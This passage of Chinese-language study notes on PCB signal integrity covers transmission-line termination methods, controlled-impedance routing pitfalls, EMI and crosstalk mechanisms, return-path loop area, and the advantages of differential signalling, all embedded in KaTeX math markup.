encoding="application/x-tex">Z_0</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8333em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.07153em;">Z</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:-0.0715em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">0</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span></eq>是传输线的阻抗。</p><hr><p>09:13 动画演示。</p><p>将传输线与回流路径看作对称的，即回流路径上同样存在分布式电感。当终端阻抗合适时，所有能量被终端吸收，没有能量返回传输线。当开路时，实际上的末端是一个电容器，能量会 100% 返回。对于短路，能量通过短路，以对称的方式 100% 返回。</p><hr><p>因此，在 PCB 上解决反射：</p><ol><li>把走线设计的和传输线一样；</li><li>在终端接上正确的负载。</li></ol><p>如何设计传输线？一般需要控制线宽、线对地平面的高度、板材料、线厚度等等参数。</p><p>很多网络上的阻抗计算器基于 1990 年代的公式，这些公式以今天的视角来看不够准确，尤其是对差分走线的阻抗来说。（这套课程发布于 2014 年）</p><p>公式见视频 14:15。</p><hr><p>如何进行端接？很棒的参考文献：<em>Termination Techniques for High Speed Bused, Ethirajan and Nemec, EDN, 2/16/98. p. 135</em> 。采用何种终端技术是其他工程师的活，但 PCB 设计工程师应在未采用相关技术时及时提出疑问。</p><p>常用终端技术：</p><ul><li>并联；</li><li>交流；</li><li>串联；</li><li>戴维宁；</li><li>二极管。</li></ul><p><strong>并联 </strong>：远端连一个<eq><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msub><mi>R</mi><mi>L</mi></msub><mo>=</mo><msub><mi>Z</mi><mn>0</mn></msub></mrow><annotation encoding="application/x-tex">R_L=Z_0</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8333em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.00773em;">R</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3283em;"><span style="top:-2.55em;margin-left:-0.0077em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">L</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.8333em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.07153em;">Z</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:-0.0715em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">0</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span></eq> 的电阻。</p><p>优点：</p><ul><li>可接到地 /Vcc；</li><li>阻值很容易确定；</li><li>只需一个额外元件；</li><li>在线路上存在分布式负载时，表现尤为出色。</li></ul><p>缺点：</p><ul><li>能量会持续在电阻中消耗；</li><li>有些时候功率要求太高了；</li><li>有时，可能对信号电平与噪声裕量造成负面影响。</li></ul><p><strong>交流 </strong>：远端串联<eq><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msub><mi>R</mi><mi>L</mi></msub><mo>=</mo><msub><mi>Z</mi><mn>0</mn></msub></mrow><annotation encoding="application/x-tex">R_L=Z_0</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8333em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.00773em;">R</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3283em;"><span style="top:-2.55em;margin-left:-0.0077em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">L</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.8333em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.07153em;">Z</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:-0.0715em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">0</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span></eq> 的电阻，后接一个电容到地。</p><p>优点：</p><ul><li>和并联表现一样好，并可以阻断直流电流。</li></ul><p>缺点：</p><ul><li>容值不好选择（太大：功耗过大；太小：性能不稳定，产生过冲 / 下冲）；</li><li>需要两个元件；</li><li>对于长串相同的比特流，可能导致严重时序问题（对于 100% 占空比，电容器会充电，可能导致问题）。</li></ul><p><strong>串联</strong>：将电阻放在传输线的起始端，电阻值与驱动器的输出阻抗相加，等于传输线的阻抗（<eq><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msub><mi>R</mi><mi>s</mi></msub><mo>+</mo><msub><mi>R</mi><mrow><mi>o</mi><mi>u</mi><mi>t</mi></mrow></msub><mo>=</mo><msub><mi>Z</mi><mn>0</mn></msub></mrow><annotation encoding="application/x-tex">R_s+R_{out}=Z_0</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8333em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.00773em;">R</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.1514em;"><span style="top:-2.55em;margin-left:-0.0077em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">s</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.8333em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.00773em;">R</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.2806em;"><span style="top:-2.55em;margin-left:-0.0077em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">o</span><span class="mord mathnormal mtight">u</span><span class="mord mathnormal mtight">t</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.8333em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.07153em;">Z</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:-0.0715em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">0</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span></eq>）。</p><p>优点：</p><ul><li>只需一个元件；</li><li>几乎不额外增加功率，完全没有直流负载。</li></ul><p>缺点：</p><ul><li>难以优化 <eq><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msub><mi>R</mi><mi>s</mi></msub></mrow><annotation encoding="application/x-tex">R_s</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8333em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.00773em;">R</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.1514em;"><span style="top:-2.55em;margin-left:-0.0077em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">s</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span></eq> 的值（输出端逻辑 0 和 1 的输出阻抗可能不同）；</li><li>在信号被 <eq><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msub><mi>R</mi><mi>s</mi></msub></mrow><annotation encoding="application/x-tex">R_s</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8333em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.00773em;">R</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.1514em;"><span style="top:-2.55em;margin-left:-0.0077em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">s</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span></eq> 吸收之前，会有一个反射回来；</li><li>适用于远端为集中负载（lumped load）或者星形布线（star routing）的情况。</li></ul><p>戴维南和二极管几乎无人使用（特别是在今天）。戴维南是完美匹配，但静态电流消耗过高，工程上难以接受；二极管只是简单的钳位电压，对于复杂的反射无能为力。</p><hr><p>应该把传输线的阻抗设计为多少？有些人认为 50Ω最优，但课程作者不确定。</p><p>一般来说，在 30Ω-80Ω之间。</p><ul><li>太高：加剧噪声问题；</li><li>太低：导致功耗 / 电流问题。</li></ul><p>重要的是应该在走线各处保持恒定。</p><p>与外部相接时，自然要与外部的阻抗保持一致。但在内侧，阻抗的绝对值并不重要，但必须保持不变，尤其是在跨层时。另外，终端匹配必须与传输线的阻抗相符（这可能是一般规定其为 50Ω的原因之一，比如我只想买一种电阻，而可以让所有终端都匹配）。</p><p>一般的制造商能将精度控制在 +/- 3%-5% 左右（嘉立创的免费精度是 +/- 20%，付费则可选 +/- 10%）。</p><h3 id="2.3-%E9%81%BF%E5%85%8D%E6%8E%89%E5%85%A5%E5%8F%97%E6%8E%A7%E9%98%BB%E6%8A%97%E5%B8%83%E7%BA%BF%E7%9A%84%E9%99%B7%E9%98%B1" tabindex="-1">2.3 避免掉入受控阻抗布线的陷阱</h3><p>如果走线的几何形状失控，那么反射将可能会在失控处发生。所以我们需要在走线的整个长度上控制其几何形状。</p><hr><p><img src="//pic.tyatt.top/PCB-SI/image%2016.png" alt="image.png"></p><p>左：最差，但是省空间，简单（从电阻到 bga 焊盘的那一段实际上是未端接的）。</p><p>中：最好，但需要嵌入式器件。</p><p>右：其次，但需要更多空间与更复杂的走线。</p><p>对这三种的仿真见视频 03:09。</p><hr><p>Y 型连线的问题。对于两叉和主干均为 50Ω的走线，分叉点处会为 25Ω。</p><p>解决方案：</p><ol><li>两叉的阻抗加倍，端接处与加倍的阻抗对应改变；</li><li>把分叉点挪到驱动器附近，使得其距离远小于临界长度（一般来说，是走线，而非驱动器，需要看到正确的终端匹配）；</li><li>在分叉点附近，分叉的起点，各加一个 50Ω串联终端电阻，在分叉点末端继续使用 50Ω终端。但这可能会让信号电平损失掉一半，或许将带来严重影响。</li></ol><hr><p>走线在不同层切换时，不同层的阻抗需要保持相同。</p><p>当信号线的参考平面相同，即回流路径在同一平面时，没有问题。但当参考平面改变时，情况会变得不可预测。我们可以选择主动在过孔旁放旁路电容，来给信号提供回流路径；或者干脆不管他，侥幸无事发生。更严格的工程师会在设计规范中禁止这种情况。</p><p>UltraCAD 选择不管，侥幸无事发生，但也接受“禁止这种设计”的意见。</p><p>重点在于：** 不要在地平面不连续 / 挖槽的上方布信号线。** 这使得回流信号需要绕远路，而非贴着走线的下方。</p><p>有三个不要这么干的理由（参见 3.2），与本节相关的第一个：这会造成阻抗不连续，因为参数开始变得不受控。</p><hr><p>小心分支（不同元件连到同一根走线上）。我们可以弯曲传输线本身，但应当让从传输线到元件的分叉长度远小于临界长度。最好直接在接收器端进行终端匹配。不要存在未端接的短截线：从传输线的角度看，这会引发反射；从 EMI 的角度看，这就像一根天线，会向外界传播电磁辐射。</p><h2 id="%E4%B8%89%E3%80%81%E6%9C%80%E5%B0%8F%E5%8C%96emi%E5%92%8C%E4%B8%B2%E6%89%B0" tabindex="-1">三、最小化 EMI 和串扰</h2><h3 id="3.1-%E7%90%86%E8%A7%A3%E8%80%A6%E5%90%88" tabindex="-1">3.1 理解耦合</h3><p>辐射电磁能量（Radiated electromagnetic energy EMI）与环路面积直接相关。因此，要最小化辐射，就要最小化环路面积。方法：** 每条走线，都应尽可能的贴近连续、相关的底层平面。** 这是信号完整性角度的第一设计准则。</p><ul><li>连续：无开槽、无断裂；</li><li>相关：信号与平面相关，是回流实际所存在的平面（模拟信号对应模拟地、数字信号对应数字地等等）；</li><li>底层平面：在信号线直接下方的参考平面。</li></ul><hr><p>EMI 和串扰的表现形式可能不同。EMI 看起来像是辐射信号，串扰则更复杂。</p><ul><li>串扰是一种点概念</li><li>它有两种不同的根本原因</li><li>这会产生两种不同的信号，其方向相反，且会相互作用。</li><li>其波形显著不同，随耦合长度的变化表现出不同的特性。</li><li>其均不像是最初导致串扰的干扰信号。</li></ul><p>在驱动线上，信号边沿的那点，会导致平行的受害线上产生电容与电感耦合，导致串扰。电容耦合的串扰有两个，一个与原始信号方向相同，另一个相反。电感耦合的串扰有一个，方向与原始信号方向相反。最终的串扰信号是这俩的综合。<br>前向电容串扰可能与电感串扰抵消，特别是在带状线环境中。因此，反向串扰分量通常问题更严重。</p><p>08:55。对于前向串扰，由于原始信号也在同步向前传播，因此当前的耦合信号会不断增强前一个耦合信号，前向串扰信号会越来越大，直到耦合区域的末端后，由于不再发生新的耦合，受害线上的耦合信号不再变大，但会继续存在，直到受害线的尽头。所以，前向串扰信号的振幅随耦合长度的增加而增加，但宽度不变。</p><p>10:50。对于后向串扰，受害线上的与信号线信号边沿的对应点，产生耦合信号后，会往后走。由于原始信号（产生耦合的位置）不断向前，因此串扰信号的宽度会不断增加（最终，宽度是耦合长度的两倍），但振幅不变。</p><p>别忘了反射。如果受害线的驱动端（近端）没有正确端接，那么后向串扰信号最终会反射，并返回受害线的远端，这会耗费很长的时间。</p><p>在原始信号的上升过程中，串扰信号的振幅也会一并上升，直到原始信号上升完成。这使得串扰信号看起来像是一个对称的梯形。因此严谨地说，后向串扰信号的宽度是两倍的耦合长度加上一个上升时间。</p><p>总结，前向串扰：</p><ul><li>振幅随耦合长度的增加而增加；</li><li>宽度不增加。</li></ul><p>后向串扰：</p><ul><li>宽度随耦合长度的增加而变宽；</li><li>振幅只增加到一定的值（称其为临界长度），随后不再增加；</li></ul><p>这里的临界长度，实际上和之前反射里提到的临界长度是同一个概念。</p><p>17:20 微带线仿真。27:58 带状线仿真。带状线环境中，容性前向串扰和感性后向串扰倾向于精确抵消，所以在理想环境中，受害线远端不会看到前向串扰。</p><p>因此，理想带状线环境中，对于在近端正确端接的走线，无论两条走线多近，无论耦合区域多长，远端都不会发生串扰。</p><p>串扰耦合系数：</p><section><eqn><span class="katex-display"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML" display="block"><semantics><mrow><mo>∝</mo><mfrac><mn>1</mn><mrow><mn>1</mn><mo>+</mo><mo stretchy="false">(</mo><mi>D</mi><mi mathvariant="normal">/</mi><mi>H</mi><msup><mo stretchy="false">)</mo><mn>2</mn></msup></mrow></mfrac></mrow><annotation encoding="application/x-tex">\propto \frac{1}{1+(D/H)^2}</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mrel">∝</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:2.2574em;vertical-align:-0.936em;"></span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.3214em;"><span style="top:-2.314em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">1</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mopen">(</span><span class="mord mathnormal" style="margin-right:0.02778em;">D</span><span class="mord">/</span><span class="mord mathnormal" style="margin-right:0.08125em;">H</span><span class="mclose"><span class="mclose">)</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.7401em;"><span style="top:-2.989em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span></span></span></span></span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.677em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.936em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span></span></span></span></span></eqn></section><p>其中，<eq><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>D</mi></mrow><annotation encoding="application/x-tex">D</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal" style="margin-right:0.02778em;">D</span></span></span></span></eq> 为两条平行走线的各自中心线间的距离，<eq><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>H</mi></mrow><annotation encoding="application/x-tex">H</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal" style="margin-right:0.08125em;">H</span></span></span></span></eq> 为走线距离参考平面的高度。</p><hr><p>总结：</p><ul><li>为最小化 EMI，需要最小化环路面积；</li><li>分离走线，以最小化串扰耦合；</li><li>带状线环境中，前向串扰最小；</li><li>后向串扰可以通过近端端接控制。</li></ul><h3 id="3.2-%E6%9C%80%E5%B0%8F%E8%80%A6%E5%90%88%E5%B8%83%E7%BA%BF" tabindex="-1">3.2 最小耦合布线</h3><p><strong>3.2.1 最小化回流环路面积</strong></p><p>考虑连接器内部的环路面积</p><p><img src="//pic.tyatt.top/PCB-SI/image%2017.png" alt="image.png"></p><p>如有可能，为每个信号旁提供一个回流路径。</p><hr><p>注意过孔。</p><ol><li>注意过孔之间的间距，使得回流路径不会被挡住；</li><li>最好每个信号过孔旁都有一个紧邻的回流过孔。</li></ol><hr><p>注意回流路径在哪里。参考 2.3 中的走线在不同层（特别是跨多个平面）之间切换的情况。不要忘记垂直方向的距离。</p><hr><p>不要在不相关的平面上布线。如果一条数字信号线经过了模拟地平面，回流路径要么在数字地上绕路，这会增大环路面积；要么通过某种方式进入了模拟地平面，这更糟糕，让区分地平面变得完全失去意义。</p><hr><p>避免在参考平面上开槽。</p><ul><li>这会使得绕远的回流路径变得像天线，产生 EMI；</li><li>此外，两条间距合理的信号线对应的回流路径，可能在绕过槽时，距离变得过近，这违反串扰隔离原则。即使信号线上的信号没有干扰，回流信号可能会互相干扰；</li><li>最后，这会产生很多阻抗控制方面的问题。</li></ul><hr><p>回路可能很微妙（subtle）。</p><p>信号在走线上流动时，实际上会穿过信号与参考平面之间的分布式电容。这与天线很像：信号流过天线，沿着与天线另一极 / 某种接地之间的分布电容耦合回来。</p><p>对于同轴电缆，如果外层屏蔽层实际上没有正确接地（与“机箱”等之间存在电势差），那么实际上，屏蔽层与“机箱”之间会存在分布式电容，辐射出 EMI。</p><hr><p><strong>3.2.2 在带状线环境中布线</strong></p><p>这不是必须的，但可能很有帮助。从 EMI 与串扰角度，微带线环境也可以做的很好，但带状线环境下可能更好，且更简单。</p><hr><p><strong>3.3.3 分离走线</strong></p><p>回忆串扰耦合系数的公式，当 D 越大，串扰越小。</p><hr><p><strong>3.3.4 避免使用保护带</strong></p><p>对于同等间距的走线，保护带是一条干净的导体，可能反而会传播串扰。这不一定起效果。</p><hr><h2 id="%E5%9B%9B%E3%80%81%E8%AE%BE%E8%AE%A1%E5%B7%AE%E5%88%86%E8%B5%B0%E7%BA%BF" tabindex="-1">四、设计差分走线</h2><h3 id="4.1-%E6%AF%94%E8%BE%83%E5%8D%95%E7%AB%AF%E3%80%81%E5%B7%AE%E5%88%86%E5%92%8C%E5%85%B1%E6%A8%A1" tabindex="-1">4.1 比较单端、差分和共模</h3><p><strong>4.1.1 单端与差分</strong></p><p>单端信号就是一个驱动器，一个接收器，一根信号线。回流信号通过地平台从接收器回到驱动器。</p><p>对于差分信号，信号从差分对中的一条发出，从另一条回来。理论上，两条走线上的信号等幅反向，不会有信号进入地平面。</p><p>差分信号优点：</p><ul><li>更好的信噪比；</li><li>接地连续性不再是问题；</li><li>可以得到非常精确的信号逻辑判断时机（Signal Timing）。</li></ul><p>缺点：</p><ul><li>每个信号需要两根线。</li></ul><hr><p><strong>4.1.1.1 更好的信噪比</strong></p><p><img src="//pic.tyatt.top/PCB-SI/image%2018.png" alt="01:35"></p><p>01:35</p><p>对于单端信号，假设接收端对信号放大 g 倍，信号线受到的干扰为<eq><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msub><mi>n</mi><mi>r</mi></msub></mrow><annotation encoding="application/x-tex">n_r</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.5806em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal">n</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.1514em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.02778em;">r</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span></eq>，回流信号受到的干扰为<eq><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msub><mi>n</mi><mi>g</mi></msub></mrow><annotation encoding="application/x-tex">n_g</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.7167em;vertical-align:-0.2861em;"></span><span class="mord"><span class="mord mathnormal">n</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.1514em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.03588em;">g</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2861em;"><span></span></span></span></span></span></span></span></span></span></eq>，则信号的增益是<eq><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>g</mi><mo>∗</mo><mo stretchy="false">(</mo><mi>S</mi><mi>i</mi><mi>g</mi><mi>n</mi><mi>a</mi><mi>l</mi><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">g*(Signal)</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6597em;vertical-align:-0.1944em;"></span><span class="mord mathnormal" style="margin-right:0.03588em;">g</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">∗</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">(</span><span class="mord mathnormal" style="margin-right:0.05764em;">S</span><span class="mord mathnormal">i</span><span class="mord mathnormal" style="margin-right:0.03588em;">g</span><span class="mord mathnormal">na</span><span class="mord mathnormal" style="margin-right:0.01968em;">l</span><span class="mclose">)</span></span></span></span></eq>，噪声的增益是<eq><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>g</mi><mo>∗</mo><mo stretchy="false">(</mo><msub><mi>n</mi><mi>r</mi></msub><mo>+</mo><msub><mi>n</mi><mi>g</mi></msub><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">g*(n_r+n_g)</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6597em;vertical-align:-0.1944em;"></span><span class="mord mathnormal" style="margin-right:0.03588em;">g</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">∗</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">(</span><span class="mord"><span class="mord mathnormal">n</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.1514em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.02778em;">r</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:1.0361em;vertical-align:-0.2861em;"></span><span class="mord"><span class="mord mathnormal">n</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.1514em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.03588em;">g</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2861em;"><span></span></span></span></span></span></span><span class="mclose">)</span></span></span></span></eq>。带入一个样例数据，信噪比是 0.5。</p><p><img src="//pic.tyatt.top/PCB-SI/image%2019.png" alt="02:52"></p><p>02:52</p><p>对于差分信号，<eq><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msub><mi>g</mi><mi>d</mi></msub></mrow><annotation encoding="application/x-tex">g_d</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.625em;vertical-align:-0.1944em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.03588em;">g</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3361em;"><span style="top:-2.55em;margin-left:-0.0359em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">d</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span></eq>是差分信号放大倍数，<eq><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msub><mi>g</mi><mi>c</mi></msub></mrow><annotation encoding="application/x-tex">g_c</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.625em;vertical-align:-0.1944em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.03588em;">g</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.1514em;"><span style="top:-2.55em;margin-left:-0.0359em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">c</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span></eq>是共模信号放大倍数。信号的增益是原来的两倍，噪声的增益不变。理想情况下，共模增益是 0，但现实中则非。带入一个样例数据，信噪比是 5000。这显示出差分信号的巨大优势。</p><hr><p>04:38。对于内部噪声，当信号强度小于噪声强度时，系统将完全无法工作。而对于纯共模噪声，只要信号强度不为 0，系统就可以工作。放大器会完全抑制所有共模噪声。因此，如果噪声主要是共模噪声，则差分信号优势明显。</p><hr><p><strong>4.1.1.2 接地连续性</strong></p><p>由于信号从一根线过去，又从另一根线回来，地上将不再有会产生影响的噪声，而只有理论上可以被完全抑制的共模噪声。因此，理论上，电力分配系统的实际样子不再重要。</p><p>此外，由于信号不经过地平面，因此也不用再去关心信号路径下方的地平面是否完整等问题。</p><hr><p><strong>4.1.1.3 